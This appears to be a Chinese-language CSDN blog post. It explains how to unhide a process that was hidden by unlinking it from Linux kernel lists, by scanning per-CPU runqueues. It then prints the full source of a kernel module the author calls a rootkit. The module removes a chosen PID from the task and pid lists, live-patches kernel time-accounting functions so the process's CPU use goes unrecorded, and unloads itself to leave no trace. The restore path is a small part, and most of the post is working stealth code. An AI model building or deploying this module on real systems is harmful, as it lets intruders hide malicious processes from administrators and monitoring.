Linux系统中彻底隐藏你的进程(隐藏后如何恢复显示?)

在前文中,我展示了一个超级简单的rootkit辅助工具:
https://blog.csdn.net/dog250/article/details/105292504

在这篇文章中,一旦进程被隐藏了,很难恢复。言外之意就是,这是最底层的隐藏,而不是靠hook那些procfs接口之类的方式。

我们已经把进程从链表中摘除,那么该进程便无法被遍历到,如何恢复它呢?换句话说,我自己给自己出了个难题,如果我自己攻击了我自己的机器植入了rootkit,我自己又如何把它揪出来?!

也不难!

虽然进程被从链表摘除了,但它还在运行队列啊!所以我们只需要遍历per cpu的runqueue就可以了。不过这里要记住,如果被隐藏的进程睡眠在某个wait queue上,这种方式就不行了,需要唤醒隐藏进程后再试。

代码如下:

// 以下这些偏移值需要hack得到。
#define CPU_OFFSET		2336
#define CRQ_OFFSET		160
int reshow_process(void)
{
	struct list_head *list;
	struct task_struct *p, *n;
	unsigned long *rq_addr, base_rq;
	char *tmp;
	int cpu = smp_processor_id();
	struct task_struct *task = current;
	struct pid_link *link = NULL;

	// 根据current顺藤摸瓜找到本CPU的rq
	tmp = (char *)task->se.cfs_rq;;
	rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
	tmp = (char *)*rq_addr;

	// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移
	cpu = (int)*(int *)(tmp + CPU_OFFSET);
	base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];

	task = NULL;

	for_each_possible_cpu(cpu) {
		tmp = (char *)(percpuoff[cpu] + base_rq);
		list = (struct list_head *)&tmp[TASKS_OFFSET];
		list_for_each_entry_safe(p, n, list, se.group_node) {
			// 由于我们执行了list_del_init摘除,所以task的tasks必然是自指的list_head
			if (list_empty(&p->tasks)) {
				task = p;
				break;
			}
		}
		if (task) break;
	}

	// 进程可能sleep/wait在某个queue,请唤醒它重试
	if (!task) return 1;

	// 恢复进程的显示!
	link = &task->pids[PIDTYPE_PID];

	hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
	list_add_tail_rcu(&task->tasks, &init_task.tasks);

	return 0;
}

此时只要执行上述代码,被隐藏的进程就又可以从ps的结果中获得了。

完整的代码如下:

#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/sched.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
unsigned long *percpuoff = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

static unsigned int hide = 1;
module_param(hide, int, 0444);

// stub函数模版
void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344来占位,模块加载的时候通过pid参数来校准
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

#define RQUEUE_SIZE		2680
#define TASKS_OFFSET	2344
#define CPU_OFFSET		2336

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;
}

#define CRQ_OFFSET	160
int reshow_process(void)
{
	struct list_head *list;
	struct task_struct *p, *n;
	unsigned long *rq_addr, base_rq;
	char *tmp;
	int cpu = smp_processor_id();
	struct task_struct *task = current;
	struct pid_link *link = NULL;

	// 根据current顺藤摸瓜找到本CPU的rq
	tmp = (char *)task->se.cfs_rq;;
	rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
	tmp = (char *)*rq_addr;

	// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移
	cpu = (int)*(int *)(tmp + CPU_OFFSET);
	base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];

	task = NULL;

	for_each_possible_cpu(cpu) {
		tmp = (char *)(percpuoff[cpu] + base_rq);
		list = (struct list_head *)&tmp[TASKS_OFFSET];
		list_for_each_entry_safe(p, n, list, se.group_node) {
			if (list_empty(&p->tasks)) {
				task = p;
				break;
			}
		}
		if (task) break;
	}

	// 进程可能sleep/wait在某个queue,请唤醒它重试
	if (!task) return 1;

	link = &task->pids[PIDTYPE_PID];

	hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
	list_add_tail_rcu(&task->tasks, &init_task.tasks);

	return 0;
}

static int __init rootkit_init(void)
{
	// 32位相对跳转偏移
	s32 offset;
	// 需要校准的pid指针位置。
	unsigned int *ppid;


	addr_user = (void *)kallsyms_lookup_name("account_user_time");
	addr_sys = (void *)kallsyms_lookup_name("account_system_time");
	if (!addr_user || !addr_sys) {
		printk("一切还没有准备好!请先加载sample模块。\n");
		return -1;
	}

	// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("还没开始,就已经结束。");
		return -1;
	}

	if (hide == 0) {
		offset = *(unsigned int *)&addr_user[1];
		stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);

		percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");
		if (!percpuoff)
			return -1;
		if (reshow_process())
			return -1;

		get_online_cpus();
		mutex_lock(_text_mutex);
		_text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);
		_text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);
		mutex_unlock(_text_mutex);
		put_online_cpus();

		vfree(stub);

		return -1;
	}

	// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遗憾,内存不够了\n");
		return -1;
	}

	// 把模版函数拷贝到真正的stub函数中
	memcpy(hide_account_user_time, stub_func_account_time, 0x25);
	// 校准pid立即数
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
	*ppid = pid;

	stub = (void *)hide_account_user_time;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隐藏进程,将其从数据结构中摘除
	hide_process();

	// 事了拂衣去,不留痕迹
	return -1;
}

static void __exit rootkit_exit(void)
{
	// 事了拂衣去了,什么都没有留下,也不必再过问!
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

浙江温州皮鞋湿,下雨进水不会胖。

原创文章 1603 获赞 5261 访问量 1129万+

猜你喜欢

转载自blog.csdn.net/dog250/article/details/105371830